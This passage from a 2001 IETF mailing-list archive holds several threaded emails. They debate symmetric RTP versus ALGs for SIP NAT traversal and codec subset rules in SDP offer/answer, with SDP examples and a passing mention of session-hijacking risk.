    Jonathan> which discusses exactly how to use connection oriented
    Jonathan> media within SDP. All we need to do is define an
    Jonathan> additional keyword, BRTP, or something like that, to
    Jonathan> describe this new type of connection oriented media,
    Jonathan> symmetric (aka bidirectional) RTP.

    Jonathan> The draft goes into details about all of this. It
    Jonathan> requires only small changes to existing SIP/SDP/RTP
    Jonathan> devices to support, and can solve a problem which I
    Jonathan> believe will continue to hamper ubiquitous deployment of
    Jonathan> SIP.

    Jonathan> Comments? I'll be discussing this work in more detail on
    Jonathan> Friday during the SIP session at IETF 50.

Jonathan, Henning,

interesting idea! Some comments:

I think, both the ALG- and the "bidirectional RTP" approach have their
merits and drawbacks:

What is nice about the bidirectional RTP approach is that users are
not required to install additional SIP-ALG boxes in order to use their
SIP telephony equipment (assuming a few characteristics of the typical
installed NAT device).

What's not so nice is that both endpoints *and* provider-operated
proxies have to be NAT-aware: e.g., endpoints have to use the pseudo
hostname in the Contact-header of REGISTER requests and make use of
a=direction (and BAVP) in the session description. Proxies will have
to support this stuff (plus the SDP-manipulation and
RTP-translator-control).

ALG-based solutions (given corresponding NAT-device and firewall
control) would at least allow users to deploy "plain", NAT-naive SIP
endsystems, and providers would not have to support the
SDP-manipulation and RTP translator functionality in their
proxies. Basically, it allows to keep the knowledge of NAT inside the
NATed network.

A note on the use of SDP: Since bidirectional RTP is not a different
transport (it's just a convention on the usage of source and
destination ports) and we are still using the RFC 1890 profile, maybe
it's more appropriate to use an a= line to signal the use of
bidirectional RTP?

-- 
	Dirk


From confctrl-owner  Thu Mar 15 08:03:03 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id IAA15380
	for confctrl-outgoing; Thu, 15 Mar 2001 08:03:03 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id IAA15375
	for <confctrl@zephyr.isi.edu>; Thu, 15 Mar 2001 08:03:02 -0800 (PST)
Received: from ivigate.intervoice.com (ivigate.intervoice.com [208.200.21.196])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f2FG31q25024
	for <confctrl@isi.edu>; Thu, 15 Mar 2001 08:03:01 -0800 (PST)
Received: from itmail-ict1.wichita.brite.com (itmail-ict1.wichita.brite.com [151.214.5.174])
	by ivigate.intervoice.com (Build 98 8.9.3/NT-8.9.3) with ESMTP id KAA07419;
	Thu, 15 Mar 2001 10:03:50 -0600
Received: by itmail-ict1-imc.wichita.brite.com with Internet Mail Service (5.5.2448.0)
	id <YB5M5WWD>; Thu, 15 Mar 2001 09:59:52 -0600
Message-ID: <DBD1CC7CE357D211AECC009027158FD103E8A933@itmail-ict1-imc.wichita.brite.com>
From: "Culpepper, Bert" <bert.culpepper@intervoice-brite.com>
To: Jonathan Rosenberg <jdrosen@dynamicsoft.com>,
        "'Piotr S. Kossowski'"
	 <P.Kossowski@elka.pw.edu.pl>,
        "'sip@lists.bell-labs.com'"
	 <sip@lists.bell-labs.com>,
        "'confctrl@isi.edu'" <confctrl@ISI.EDU>
Subject: RE: [SIP] RE: [Sip-implementors] Meaning of SDP 'm' line in INVIT
	E transact ion
Date: Thu, 15 Mar 2001 09:59:45 -0600
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2448.0)
Content-Type: text/plain;
	charset="iso-8859-2"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hi,

comments below...

> -----Original Message-----
> From: Jonathan Rosenberg [mailto:jdrosen@dynamicsoft.com]
> Sent: Thursday, March 15, 2001 2:22 AM
> To: 'Piotr S. Kossowski'; 'sip@lists.bell-labs.com'; 
> 'confctrl@isi.edu'
> Subject: [SIP] RE: [Sip-implementors] Meaning of SDP 'm' line 
> in INVITE
> transact ion
> 
> 
> 
> (forwarded to sip since there is an open issue here, and also 
> mmusic since
> its really an SDP issue)
>  
> 
> > -----Original Message-----
> > From: Piotr S. Kossowski [mailto:P.Kossowski@elka.pw.edu.pl]
> > Sent: Friday, February 02, 2001 3:11 PM
> > To: sip-implementors@cs.columbia.edu
> > Subject: [Sip-implementors] Meaning of SDP 'm' line in INVITE 
> > transaction
> > 
> > 
> > Dear All,
> > 
> > I am a bit confused with description of media nagotiating by SIP.
> > I refer to rfc2543bis-2.
> > 
> > * The first case *
> > 
> > Example 16.3 of the spec.:
> > 
> > SDP in INIVTE  contains (from Bell): 
> > 
> > 	m=audio 3456 RTP/AVP 0 3 4 5
> > 
> > 200 response contains (from Watson):
> > 	
> > 	m=audio 5004 RTP/AVP 0 3
> > 
> > and note: "(...)Watson's list of codecs may or may not be a subset
> > of the one offered by Bell"
> 
> This is an inconsistency in the spec. The spec also says, in 
> the appendix on
> SDP, that the SDP offered in the response needs to be a 
> subset offered in
> the request. It turns out that it doesn;'t make a huge 
> difference,  since
> the caller can compute the intersection if the called party 
> offers something
> larger than the subset. Indeed, for the bidirectional case, 
> they are really
> equivalent.
> 
> The interesting issue that arises is with DTMF. Lets say we 
> have a UA which
> can send DTMF, but can't receive it. It also uses PCMU for 
> audio. Now, if it
> puts the DTMF codec in the SDP in the INVITE, since the media 
> stream is
> bidrectional, it has committed itself to also being able to 
> receive DTMF,
> which it can't. However, if it doesn't include the DTMF 
> codec, listing only
> PCMU, and the response is a subset, there is no way the 
> called party (say, a
> voicexml server), can indicate that it can receive DTMF. 
> Based on this, one
> might argue that the following would be reasonable:
> 
> INVITE
> m=audio 5004 RTP/AVP 0
> 
> 200 OK
> m=audio 5004 RTP/AVP 0 77
> a=rtpmap:77 telephone-event
> 
> this would mean that the subset would be used for 
> bidrecitonal codecs, and
> the response could contain additional codecs that the entity wanted to
> receive only.
> 
> An alternative is to define an attribute that allows codecs 
> within a stream
> to be unidirectional:
> 
> INVITE
> m=audio 5004 RTP/AVP 0 77
> a=rtpmap:77 telephone-event
> a=direction:77 sendonly
> 
> 200 OK
> m=audio 5004 RTP/AVP 0 77
> a=rtpmap:77 telephone-event
> a=direction:77 recvonly
> 
> This is yet another SDP extension. There are many recognized 
> limitations of
> SDP, and thus the reasoning behind SDP-ng, which will address 
> this case.
> 
> So, what should we do here?

I believe the above can be achieved without any SDP extension. 
For the case a UA supports multiple codecs differently, it can 
use multiple media descriptions.  For example, the case above 
can be signaled as:

INVITE
m=audio 5004 RTP/AVP 0
m=audio 5004 RTP/AVP 77
a=rtpmap:77 telephone-event
a=sendonly
 
200 OK
m=audio 5004 RTP/AVP 0
m=audio 5004 RTP/AVP 77
a=rtpmap:77 telephone-event
a=recvonly

> 
> I'm inclined, in the interests of KISS, to:
> 
> 1. stick with the subset mechanism and correct the 
> inconsistencies in the
> flows

I don't see any harm in allowing a response to contain a superset 
of the codecs offered in a request.  A requestor can simply not 
send any media it doesn't support.

> 2. for this DTMF case, simply say that implementing DTMF 
> codec means being
> able to send and receive, if you want to use it as part of a 
> bidreictional
> stream.

I believe being able to send and receive is a "given" if you 
advertise your capabilities in a bidirectional stream :)

Regards,
Bert


> 
> Comments?
> 
> > 
> > My questions:
> > 
> > 1. Would Watson reply with e.g.:
> > 
> > 	m=audio 5004 RTP/AVP 7 8
> 
> No, it would never do this. In this case, they have no codecs 
> in common.
> 
> > 
> > 2. How would it be possible to decode on one UDP port (5004) more
> >    then one media stream simultaneosly ( i mean 0 and 3 on 5004) ?
> 
> The RTP contains a payload type number (with values of 0 or 3) in each
> packet. So, the sender can change encoding on the fly, as 
> needed. This is
> useful for applciation adaptation, and also for using rfc2833 
> tones in the
> media stream.
> 
> 
> 
> > 
> > 
> > * The second case *
> > 
> > B.1 of the spec:
> > 
> > SDP in INIVTE  contains: 
> > 
> > 	m=audio 49170 RTP/AVP 0
> > 
> > 200 response contains:
> > 	
> > 	m=audio 57920 RTP/AVP 0 1
> > 
> > Question: Why UAS added codec with payload 1 ?
> 
> Again, inconsistency.
> 
> 
> > 
> > 
> > Generally: If 200 response contains codecs that are not understood
> > by caller, session probably fail because ACK cannot change session
> > description. Is it true ? Correct me, if not.
> 
> Correct.
> 
> -Jonathan R.
> ---
> Jonathan D. Rosenberg                       72 Eagle Rock Ave.
> Chief Scientist                             First Floor
> dynamicsoft                                 East Hanover, NJ 07936
> jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
> http://www.cs.columbia.edu/~jdrosen         PHONE: (973) 952-5000
> http://www.dynamicsoft.com
> 
> _______________________________________________
> This list is for continuing development of the SIP protocol.
> The sip-implementor's list is the place to discuss implementation,
> and to receive advice on understanding existing sip.
> To subscribe to it, send mail to 
> sip-implementors-request@cs.columbia.edu with "subscribe" in the body.
> 

From confctrl-owner  Thu Mar 15 11:27:03 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id LAA24235
	for confctrl-outgoing; Thu, 15 Mar 2001 11:27:03 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id LAA24230
	for <confctrl@zephyr.isi.edu>; Thu, 15 Mar 2001 11:27:02 -0800 (PST)
Received: from redball.dynamicsoft.com (redball.dynamicsoft.com [216.173.40.51])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f2FJR1q07876
	for <confctrl@ISI.EDU>; Thu, 15 Mar 2001 11:27:01 -0800 (PST)
Received: from DYN-EXCH-001.dynamicsoft.com ([216.173.40.50])
	by redball.dynamicsoft.com (8.9.3+Sun/8.10.0.Beta12) with ESMTP id OAA25841;
	Thu, 15 Mar 2001 14:30:13 -0500 (EST)
Received: by DYN-EXCH-001.dynamicsoft.com with Internet Mail Service (5.5.2650.21)
	id <FMX9QPQ6>; Thu, 15 Mar 2001 14:29:04 -0500
Message-ID: <B65B4F8437968F488A01A940B21982BF0128BBE6@DYN-EXCH-001.dynamicsoft.com>
From: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
To: "'Dirk Kutscher'" <dku@informatik.uni-bremen.de>,
        Jonathan Rosenberg
	 <jdrosen@dynamicsoft.com>
Cc: "'sip@lists.bell-labs.com'" <sip@lists.bell-labs.com>,
        "'rem-conf@es.net'" <rem-conf@es.net>,
        "'confctrl@isi.edu'"
	 <confctrl@ISI.EDU>
Subject: RE: symmetric RTP as a solution for NAT traversal
Date: Thu, 15 Mar 2001 14:29:03 -0500
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



 

> -----Original Message-----
> From: Dirk Kutscher [mailto:dku@informatik.uni-bremen.de]
> Sent: Thursday, March 15, 2001 11:00 AM
> To: Jonathan Rosenberg
> Cc: 'sip@lists.bell-labs.com'; 'rem-conf@es.net'; 'confctrl@isi.edu'
> Subject: Re: symmetric RTP as a solution for NAT traversal
> 
>    Jonathan> The draft goes into details about all of this. It
>    Jonathan> requires only small changes to existing SIP/SDP/RTP
>    Jonathan> devices to support, and can solve a problem which I
>    Jonathan> believe will continue to hamper ubiquitous deployment of
>    Jonathan> SIP.
>
>    Jonathan> Comments? I'll be discussing this work in more detail on
>    Jonathan> Friday during the SIP session at IETF 50.
>
>Jonathan, Henning,
>
>interesting idea! Some comments:
>
>I think, both the ALG- and the "bidirectional RTP" approach have their
>merits and drawbacks:
>
>What is nice about the bidirectional RTP approach is that users are
>not required to install additional SIP-ALG boxes in order to use their
>SIP telephony equipment (assuming a few characteristics of the typical
>installed NAT device).
>
>What's not so nice is that both endpoints *and* provider-operated
>proxies have to be NAT-aware: e.g., endpoints have to use the pseudo
>hostname in the Contact-header of REGISTER requests and make use of
>a=direction (and BAVP) in the session description. Proxies will have
>to support this stuff (plus the SDP-manipulation and
>RTP-translator-control).

Its a practical issue of what it takes to deploy a real system.

Fundamentally, the concept of ALG does not scale up. There are lots of new
Internet applications all of the time. The people who make NATs cannot keep
track of all of them, and grow the expertise to be able to support every
protocol (plus their extensions, revisions, interop testing, etc.) in a
timely fashion. The new breed of residential NAT is a $150 consumer device;
I just don't see how those boxes can support EVERY protocol, and they won't.
Those vendors will wait until there is a large demand for specific
application, and then introduce it. 

Consider SIP specifically. THe basic nat alg is not awfully hard, but upon
further study, you realize there are issues like no-SDP in the invites,
early media, preconditions, SDP in ACK, multiple m lines, re-invites with no
SDP, and so on. That list of issues which would affect an ALG will grow, I
fear. We are still debating issues like early media that could result in
additional extensions that better handle it. Is it reasonable to assume that
every vendor of every nat box is going to realistically track these things,
and support them in their releases as fast as the sip vendors will? I think
not. Not even close. Similar argument for H.323. 

So, if I want to deploy a new application, I can either (1) wait for all the
nats in the world to introduce ALGs for the protocol, and then wait for them
to be deployed, replacing any existing nats in peoples homes and
enterprises. Then I deploy my protocol. Besides the fact that we're talking
several years here, there is a chicken and egg problem - if the application
isn't widely deployed (and can't be, because of nat), why would people
bother to widely deploy ALGs for it? 

This is the core argument behind the midcom framework, which is to
*separate* the application layer processing to support nat, and the actual
nat packet processing itself. Its another form of decomposition, like our
MGC/MG/SG decomposition in MGCP/megaco. For the case here, there is no
control relationship possible between the application servers in the
network, and the nat. However, the principle is the same: the alg for a
protocol should live with the vendors that understand that protocol, and
live in the boxes that provide that protocol service. When I build a server
to provide a service, the onus is ultimately on ME to make sure that the
service works for my customers. That has nothing to do with nat, thats just
a truth of deploying a real service.


>
>
>
>ALG-based solutions (given corresponding NAT-device and firewall
>control) would at least allow users to deploy "plain", NAT-naive SIP
>endsystems, and providers would not have to support the
>SDP-manipulation and RTP translator functionality in their
>proxies. Basically, it allows to keep the knowledge of NAT inside the
>NATed network.

Well, as I argue above, thats not actually going to work in practice. Right
now, people are doing horrible things like tunneling RTP over HTTPS. Here is
an opportunity, through what amounts to really simple extensions in the
client, to allow this application to traverse NATs in a sensible way.

I'll also add that our enhancements have other benefits beyond nat. They
also deal with problems related to multi-homing and self discovery of IP
addresses, as we describe in the document. We have seen these problems in
real systems as well, and they are hampering deployment just as the nat
problem is. I suspect there are other benefits lurking as well. 

Another way to describe it is thusly: all that we are doing is back-filling
into SIP/SDP/RTP  the nat friendly protocol guidelines which have since been
published by IETF. 

>
>A note on the use of SDP: Since bidirectional RTP is not a different
>transport (it's just a convention on the usage of source and
>destination ports) and we are still using the RFC 1890 profile, maybe
>it's more appropriate to use an a= line to signal the use of
>bidirectional RTP?

I'm just going with the conventions which are already described in the
conmedia draft, since I think symmetric RTP is another connectin oriented
transport. However, I am not a stickler for the syntax. So long as we convey
the desired semantics, I'm fine.

-Jonathan R.

---
Jonathan D. Rosenberg                       72 Eagle Rock Ave.
Chief Scientist                             First Floor
dynamicsoft                                 East Hanover, NJ 07936
jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
http://www.cs.columbia.edu/~jdrosen         PHONE: (973) 952-5000
http://www.dynamicsoft.com

From confctrl-owner  Thu Mar 15 14:28:40 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id OAA03952
	for confctrl-outgoing; Thu, 15 Mar 2001 14:28:40 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id OAA03947
	for <confctrl@zephyr.isi.edu>; Thu, 15 Mar 2001 14:28:39 -0800 (PST)
Received: from sj-msg-core-3.cisco.com (sj-msg-core-3.cisco.com [171.70.157.152])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f2FMSdq15941
	for <confctrl@ISI.EDU>; Thu, 15 Mar 2001 14:28:39 -0800 (PST)
Received: from mira-sjc5-7.cisco.com (mira-sjc5-7.cisco.com [171.71.163.27])
	by sj-msg-core-3.cisco.com (8.9.3/8.9.1) with ESMTP id OAA01937;
	Thu, 15 Mar 2001 14:27:18 -0800 (PST)
Received: from thomasm-u1.cisco.com (thomasm-u1.cisco.com [128.107.140.53])
	by mira-sjc5-7.cisco.com (Mirapoint)
	with ESMTP id ACI20098;
	Thu, 15 Mar 2001 14:28:28 -0800 (PST)
Received: (thomasm@localhost) by thomasm-u1.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id OAA23341; Thu, 15 Mar 2001 14:28:28 -0800 (PST)
From: Michael Thomas <mat@cisco.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID: <15025.16907.949542.516323@thomasm-u1.cisco.com>
Date: Thu, 15 Mar 2001 14:28:27 -0800 (PST)
To: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
Cc: "'sip@lists.bell-labs.com'" <sip@lists.bell-labs.com>,
        "'rem-conf@es.net'" <rem-conf@es.net>,
        "'confctrl@isi.edu'"
	 <confctrl@ISI.EDU>
Subject: symmetric RTP as a solution for NAT traversal
In-Reply-To: <B65B4F8437968F488A01A940B21982BF0128BBB7@DYN-EXCH-001.dynamicsoft.com>
References: <B65B4F8437968F488A01A940B21982BF0128BBB7@DYN-EXCH-001.dynamicsoft.com>
X-Mailer: VM 6.72 under 21.1 (patch 6) "Big Bend" XEmacs Lucid
X-Face: &,heK/V66p?[2!i|tVn,9lN0TUvEv7:9FzXREj/AuzN4m<D]vnFJ>u!4x[/Z4t{V}~L]+Sk
 @RFNnJEg~WZ/(8<`5a),-7ukALWa^&?&D2R0CSG3kO5~#6JxLF\d,g">$%B!0w{W)qIhmwhye104zd
 bUcI'1!
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


Jonathan, 

On the surface this doesn't sound unreasonable to
me, but my main question is whether, in the end
you end up needing ALG functionality to deal with
NAT's whether this incremental step is necessary.
That is, if you end up needing an ALG to deal with
the UAS-behind-the-NAT problem, have we bought 
anything?

On a different tangent, (never being one to shy
away from having multiple contradictory opinions
on the same subject), plain old firewalls (not
NAT'ing firewalls) are current still a problem
since they typically block the dynamic range for
RTP. Is it possible that this might be munged to
deal with that problem? Ie, allow RTP on a well
known port and demux using the SSCR? I seem to
recall that this has a fatal problem, but I can't
remember what it is. I really should go re-read my
Chapman/Zwicky first, but... If we could do this
your BRTP proposal would make RTP look like any
old UDP command/response protocol from the
firewall standpoiont which might interesting.

		Mike


Jonathan Rosenberg writes:
 > Folks,
 > 
 > I would like to draw your attention to some work we have done on NAT
 > traversal for sip, documented in:
 > 
 > http://search.ietf.org/internet-drafts/draft-rosenberg-sip-entfw-01.txt
 > 
 > Earlier versions of this draft recommended running RTP over TCP to traverse
 > NATs, which is very unappealing. This -01 draft describes a way to run RTP
 > over UDP, and still traverse off the shelf, vanilla, regular, ALG-free NATs.
 > However, to do so requires a small change in the way RTP is done for
 > unicast, and a small update to some ongoing SDP work. Thats the reason for
 > my broad cross-post.
 > 
 > The problem with RTP usage for unicast (at least within SIP), is that there
 > are effectively two RTP sessions established; the caller specifies, in the
 > INVITE, the IP address and port pair where they would like to receive
 > packets, and the called party specifies, in the 200 OK, the IP address and
 > port where they'd like to receive packets. There are no restrictions on the
 > source port for sending to these addresses. Unfortunately, this is why NAT
 > traversal is hard. Most NATs which support UDP create NAT bindings, based on
 > the source address of packets, when a packet is sent outwards. However,
 > here, we must create the binding by inspecting the SDP. Thats why ALGs were
 > needed for UDP.
 > 
 > So, our solution is to fix that. To do so, we define symmetric RTP (aka
 > bidirectional RTP in the draft). Symmetric RTP runs over UDP, but it uses a
 > single connection, rather than two. One participant in a call acts as the
 > active side, and another, the passive side. The active participant sends the
 > RTP packet, and the passive side receives it. Packets are sent back from the
 > passive user to the active one, using the source address learned from the
 > RTP packet just received. So, lets say Joe calls Bob. Joe acts as the active
 > side of the RTP connection. When the 200 OK arrives from Bob, it contains
 > Bob's address for RTP; say its IP address X and port Y (abbreviated {X,Y}).
 > So, Joe sends packets, using source address/port {U,V}, to {X,Y}. Lets say
 > Joe is behind a NAT. Sending this RTP packet creates a binding in the NAT,
 > from {U,V} to {A,B}, and rewrites the source IP address/port of the packet
 > to this pair. When Bob receives this, Bob can send media back to Joe, using
 > destination address {A,B} and source {X,Y}. These packets arrive at Joe's
 > NAT, and because a binding has been established, the destination is
 > rewritten to {U,V}, and then delivered to Joe. Voila. RTP over UDP has just
 > traversed a NAT without an ALG. The IP address Joe provided in his SDP was
 > never used, which was good, since it was wrong.
 > 
 > Note that who is active, and who is passive, as far as setting up the RTP
 > connections, is completely unrelated to who initiates the call. 
 > 
 > This little trick means that we can establish RTP-over-UDP calls with SIP
 > through vanilla NATs so long as one side has a public address. This covers a
 > huge amount of calling patterns we are seeing, right off the bat, including
 > PC to phone and phone to PC. In the case where both are behind NATs, the
 > draft describes usage of an RTP translator that can be used as an
 > intermediary. Other solutions may be possible depending on how the NAT
 > treats UDP packets. More to come.
 > 
 > I have left out some details about how we determine who is active, and who
 > is passive, and how this is signaled. Well, fortunately for us, there has
 > been some excellent work in mmusic on the following draft:
 > 
 > http://www.ietf.org/internet-drafts/draft-ietf-mmusic-sdp-comedia-00.txt
 > 
 > which discusses exactly how to use connection oriented media within SDP. All
 > we need to do is define an additional keyword, BRTP, or something like that,
 > to describe this new type of connection oriented media, symmetric (aka
 > bidirectional) RTP.
 > 
 > The draft goes into details about all of this. It requires only small
 > changes to existing SIP/SDP/RTP devices to support, and can solve a problem
 > which I believe will continue to hamper ubiquitous deployment of SIP.
 > 
 > Comments? I'll be discussing this work in more detail on Friday during the
 > SIP session at IETF 50.
 > 
 > Thanks,
 > Jonathan R.
 > 
 > 
 > 
 > ---
 > Jonathan D. Rosenberg                       72 Eagle Rock Ave.
 > Chief Scientist                             First Floor
 > dynamicsoft                                 East Hanover, NJ 07936
 > jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
 > http://www.cs.columbia.edu/~jdrosen         PHONE: (973) 952-5000
 > http://www.dynamicsoft.com
 >  

From confctrl-owner  Thu Mar 15 19:21:43 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id TAA14406
	for confctrl-outgoing; Thu, 15 Mar 2001 19:21:43 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id TAA14401
	for <confctrl@zephyr.isi.edu>; Thu, 15 Mar 2001 19:21:42 -0800 (PST)
Received: from df-inet1.exchange.microsoft.com (df-inet1.exchange.microsoft.com [131.107.8.8])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f2G3Lgq07973
	for <confctrl@isi.edu>; Thu, 15 Mar 2001 19:21:42 -0800 (PST)
Received: from df-virus2.platinum.corp.microsoft.com ([172.30.236.33]) by df-inet1.exchange.microsoft.com with Microsoft SMTPSVC(5.0.2195.2831);
	 Thu, 15 Mar 2001 19:22:24 -0800
Received: from 172.30.236.11 by df-virus2.platinum.corp.microsoft.com (InterScan E-Mail VirusWall NT); Thu, 15 Mar 2001 19:22:28 -0800 (Pacific Standard Time)
Received: from speak.platinum.corp.microsoft.com ([172.30.236.197]) by yuri.dns.microsoft.com with Microsoft SMTPSVC(5.0.2195.2883);
	 Thu, 15 Mar 2001 19:22:27 -0800
X-MimeOLE: Produced By Microsoft Exchange V6.0.4668.0
content-class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Subject: RE: [SIP] symmetric RTP as a solution for NAT traversal
Date: Thu, 15 Mar 2001 19:22:27 -0800
Message-ID: <CC2E64D4B3BAB646A87B5A3AE97090420EFADA8D@speak.dogfood>
X-MS-Has-Attach: 
X-MS-TNEF-Correlator: 
Thread-Topic: [SIP] symmetric RTP as a solution for NAT traversal
Thread-Index: AcCs20yGrWieM1iLS4eDnuGgd8+FogA6385Q
From: "Christian Huitema" <huitema@exchange.microsoft.com>
To: "Jonathan Rosenberg" <jdrosen@dynamicsoft.com>, <sip@lists.bell-labs.com>,
        <rem-conf@es.net>, <confctrl@ISI.EDU>
X-OriginalArrivalTime: 16 Mar 2001 03:22:27.0735 (UTC) FILETIME=[53CC8270:01C0ADC8]
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by zephyr.isi.edu id TAA14402
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Jonathan,

Your solution is interesting, but it does not deal with the case of two
PCs, both behind a NAT. Another way to solve the problem is to let the
PC who is behind a NAT learn the external mapping of the RTP port, e.g.
that 10.0.0.9:3456 maps to 123.45.67.89:7891. There are quite a few ways
to do that, some of which could well end up being standardized. That
would certainly be a nice complement to the symmetric RTP trick.

However, there is a slight problem. We cannot assume that NATs are aware
of RTP's requirement for "port pairs", an even port for RTP, the next
port for RTCP. We may well learn that port 3456 maps to
123.45.67.89:7891, and port 3457 maps to 123.45.67.89:9872. Now, if we
intend to open the SDP spec and create attributes for the "symmetric
RTP", we should perhaps also create an attribute specifying the RTCP
port, when that port is not equal to RTP+1.

A mild objection to the symmetric RTP is the risk of session hijacking.
Arguably, that is a risk you can assume if the alternative is no session
at all, but you should still consider it...

-- Christian Huitema

> -----Original Message-----
> From: Jonathan Rosenberg [mailto:jdrosen@dynamicsoft.com]
> Sent: Wednesday, March 14, 2001 2:56 PM
> To: 'sip@lists.bell-labs.com'; 'rem-conf@es.net'; 'confctrl@isi.edu'
> Cc: Jonathan Rosenberg
> Subject: [SIP] symmetric RTP as a solution for NAT traversal
> 
> Folks,
> 
> I would like to draw your attention to some work we have done on NAT
> traversal for sip, documented in:
> 
>
http://search.ietf.org/internet-drafts/draft-rosenberg-sip-entfw-01.txt
> 
> Earlier versions of this draft recommended running RTP over TCP to
> traverse
> NATs, which is very unappealing. This -01 draft describes a way to run
RTP
> over UDP, and still traverse off the shelf, vanilla, regular, ALG-free
> NATs.
> However, to do so requires a small change in the way RTP is done for
> unicast, and a small update to some ongoing SDP work. Thats the reason
for
> my broad cross-post.
> 
> The problem with RTP usage for unicast (at least within SIP), is that
> there
> are effectively two RTP sessions established; the caller specifies, in
the
> INVITE, the IP address and port pair where they would like to receive
> packets, and the called party specifies, in the 200 OK, the IP address
and
> port where they'd like to receive packets. There are no restrictions
on
> the
> source port for sending to these addresses. Unfortunately, this is why
NAT
> traversal is hard. Most NATs which support UDP create NAT bindings,
based
> on
> the source address of packets, when a packet is sent outwards.
However,
> here, we must create the binding by inspecting the SDP. Thats why ALGs
> were
> needed for UDP.
> 
> So, our solution is to fix that. To do so, we define symmetric RTP
(aka
> bidirectional RTP in the draft). Symmetric RTP runs over UDP, but it
uses
> a
> single connection, rather than two. One participant in a call acts as
the
> active side, and another, the passive side. The active participant
sends
> the
> RTP packet, and the passive side receives it. Packets are sent back
from
> the
> passive user to the active one, using the source address learned from
the
> RTP packet just received. So, lets say Joe calls Bob. Joe acts as the
> active
> side of the RTP connection. When the 200 OK arrives from Bob, it
contains
> Bob's address for RTP; say its IP address X and port Y (abbreviated
> {X,Y}).
> So, Joe sends packets, using source address/port {U,V}, to {X,Y}. Lets
say
> Joe is behind a NAT. Sending this RTP packet creates a binding in the
NAT,
> from {U,V} to {A,B}, and rewrites the source IP address/port of the
packet
> to this pair. When Bob receives this, Bob can send media back to Joe,
> using
> destination address {A,B} and source {X,Y}. These packets arrive at
Joe's
> NAT, and because a binding has been established, the destination is
> rewritten to {U,V}, and then delivered to Joe. Voila. RTP over UDP has
> just
> traversed a NAT without an ALG. The IP address Joe provided in his SDP
was
> never used, which was good, since it was wrong.
> 
> Note that who is active, and who is passive, as far as setting up the
RTP
> connections, is completely unrelated to who initiates the call.
> 
> This little trick means that we can establish RTP-over-UDP calls with
SIP
> through vanilla NATs so long as one side has a public address. This
covers
> a
> huge amount of calling patterns we are seeing, right off the bat,
> including
> PC to phone and phone to PC. In the case where both are behind NATs,
the
> draft describes usage of an RTP translator that can be used as an
> intermediary. Other solutions may be possible depending on how the NAT
> treats UDP packets. More to come.
> 
> I have left out some details about how we determine who is active, and
who
> is passive, and how this is signaled. Well, fortunately for us, there
has
> been some excellent work in mmusic on the following draft:
> 
>
http://www.ietf.org/internet-drafts/draft-ietf-mmusic-sdp-comedia-00.txt
> 
> which discusses exactly how to use connection oriented media within
SDP.
> All
> we need to do is define an additional keyword, BRTP, or something like
> that,
> to describe this new type of connection oriented media, symmetric (aka
> bidirectional) RTP.
> 
> The draft goes into details about all of this. It requires only small
> changes to existing SIP/SDP/RTP devices to support, and can solve a
> problem
> which I believe will continue to hamper ubiquitous deployment of SIP.
> 
> Comments? I'll be discussing this work in more detail on Friday during
the
> SIP session at IETF 50.
> 
> Thanks,
> Jonathan R.
> 
> 
> 
> ---
> Jonathan D. Rosenberg                       72 Eagle Rock Ave.
> Chief Scientist                             First Floor
> dynamicsoft                                 East Hanover, NJ 07936
> jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
> http://www.cs.columbia.edu/~jdrosen         PHONE: (973) 952-5000
> http://www.dynamicsoft.com
> 
> 
> _______________________________________________
> This list is for continuing development of the SIP protocol.
> The sip-implementor's list is the place to discuss implementation,
> and to receive advice on understanding existing sip.
> To subscribe to it, send mail to
> sip-implementors-request@cs.columbia.edu with "subscribe" in the body.

From confctrl-owner  Thu Mar 15 23:19:04 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id XAA22045
	for confctrl-outgoing; Thu, 15 Mar 2001 23:19:04 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id XAA22040
	for <confctrl@zephyr.isi.edu>; Thu, 15 Mar 2001 23:19:02 -0800 (PST)
Received: from redball.dynamicsoft.com (redball.dynamicsoft.com [216.173.40.51])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f2G7J2q11269
	for <confctrl@ISI.EDU>; Thu, 15 Mar 2001 23:19:02 -0800 (PST)
